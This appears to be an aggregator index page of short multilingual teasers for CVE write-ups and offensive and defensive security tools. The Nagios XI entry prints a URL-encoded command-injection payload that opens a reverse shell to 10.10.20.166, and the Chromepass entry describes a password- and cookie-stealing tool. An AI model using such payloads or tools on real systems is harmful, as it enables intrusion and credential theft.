CVE-2025-61301

CVE-2025-61301 - CAPEv2: Negação de Análise via Fork Recursivo de Processos Descrição Uma vulnerabilidade de Alta Gravidade de negação de análise afeta reporting/mongodb.py e reporting/jsondump.py no CAPEv2 commit 52e4b43, em 2025-05-17 permite que atacantes que podem enviar amostras causem...

CVE-2019-20197

CVE-2019-20197 Nagios XI vulnerabilità di esecuzione remota di comandi = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite...

CVE-2023-36874

CVE-2023-36874 Nur zu Demonstrationszwecken. Der Exploit funktioniert auf anfälligen Windows-Clients/Servern. Kompilieren Sie den Code und erstellen Sie das Verzeichnis c:\test\system32. Platzieren Sie Ihre wermgr.exe in diesem Verzeichnis und führen Sie den kompilierten PoC aus...

reconmap

Reconmap Pentesting Management, Automation and Reporting Platform Reconmap is an open source vulnerability assessment and penetration testing platform designed to support security professionals throughout the entire engagement lifecycle. It enables penetration testers and InfoSec teams to...

reconmap

Reconmap Piattaforma di Gestione, Automazione e Reporting per Pentesting Reconmap è una piattaforma open source per la valutazione delle vulnerabilità e il penetration testing, progettata per supportare i professionisti della sicurezza durante l'intero ciclo di vita di un engagement. Consente a...

memguard

MemGuard Software enclave for storage of sensitive information in memory. This package attempts to reduce the likelihood of sensitive data being exposed when in memory. It aims to support all major operating systems and is written in pure Go. Features Sensitive data is encrypted and authenticated...

cansina

Cansina Cansina is a Web Content Discovery Application. It is well known Web applications don't publish all their resources or public links, so the only way to discover these resources is requesting for them and check the response. Cansina duty is to help you making requests and filtering and...

writehat

WriteHat is a reporting tool which removes Microsoft Word and many hours of suffering from the reporting process. Markdown -- HTML -- PDF. Created by penetration testers, for penetration testers - but can be used to generate any kind of report. Written in Django Python 3. Features: Effortlessly...

writehat

WriteHat ist ein Berichtswerkzeug, das Microsoft Word und viele Stunden Leid aus dem Berichterstellungsprozess entfernt. Markdown -- HTML -- PDF. Entwickelt von Penetrationstestern, für Penetrationstester – kann aber zur Erstellung jeder Art von Bericht verwendet werden. Geschrieben in Django...

psad

psad - Intrusion Detection with iptables Logs Introduction The Port Scan Attack Detector psad is a lightweight system daemon written in is designed to work with Linux iptables/ip6tables/firewalld firewalling code to detect suspicious traffic such as port scans and sweeps, backdoors, botnet comman...

sysreptor

Una piattaforma di reporting per pentest facile e personalizzabile, progettata per semplificare la creazione di report di pentest per i professionisti della sicurezza. L'FFG è l'organismo centrale di finanziamento nazionale e rafforza la capacità innovativa dell'Austria. Questo progetto è...

Sn1per

Prodotti Gestione della superficie d'attacco Chi è Sn1per Novità Contatti Demo Prezzi Negozio Sn1per — La piattaforma di sicurezza offensiva per team moderni Recon, scansione, sfruttamento e reportistica in un unico spazio di lavoro — che tu sia un pentester singolo o un SOC globale. Sn1per...

chromepass

Chromepass - Hacking Chrome Saved Passwords and Cookies View Demo · Report Bug · Request Feature Table of Contents About the Project AV Detection Getting started Prerequisites Installation Usage Email Errors, Bugs and Feature Requests Learn More License Demo About The project Chromepass is a...

seccubus

Informazioni su Seccubus Seccubus automatizza scans di vulnerabilità regolari con vari strumenti e aiuta i professionisti della sicurezza nell'analisi rapida del suo output, sia al primo scan che a scans successivi. Con il delta reporting su scans ripetuti, i risultati devono essere giudicati sol...

burpa

burpa: Automatore Burp Uno strumento di automazione per Burp Suite Requisiti burp-rest-api Burp Suite Professional slackclient Utilizzo root@kitploit: $ python burpa.py -h / / / / / / / / / / / // / // / / / // / // / /./,// / ./,/ // burpa version 0.1 / by 0x4D31 usage: burpa.py -h -a...

certReport

CertReport Questo strumento è pensato per ridurre lo sforzo necessario per segnalare certificati Authenticode. Il suo scopo è richiedere il minimo sforzo possibile a chi effettua la segnalazione, fornendo comunque all'autorità di certificazione la maggior parte delle informazioni necessarie per...

massdns

MassDNS A high-performance DNS stub resolver MassDNS is a simple high-performance DNS stub resolver targeting those who seek to resolve a massive amount of domain names in the order of millions or even billions. Without special configuration, MassDNS is capable of resolving over 350,000 names per...

social-engineer-toolkit

The Social-Engineer Toolkit SET The Social-Engineer Toolkit is an open-source penetration testing framework for authorized social-engineering assessments. SET provides guided attack vectors for security teams that need to test user awareness, validate controls, and run consent-based red-team...

dirsearch

dirsearch - Web Path Discovery An advanced web path brute-forcer dirsearch is being actively developed by @maurosoria and @shelld3v. Join the Discord server to communicate with the team. Quick Start dirsearch requires Python 3.11 or higher. root@kitploit: git clone...

Apktool

Apktool Dies ist das Repository für Apktool. Die Website befindet sich im Repositoryapktool.org. Apktool ist ein Tool zum Reverse Engineering von Drittanbieter-, geschlossenen, binären Android-Apps. Es kann Ressourcen nahezu in die ursprüngliche Form dekodieren und nach einigen Änderungen...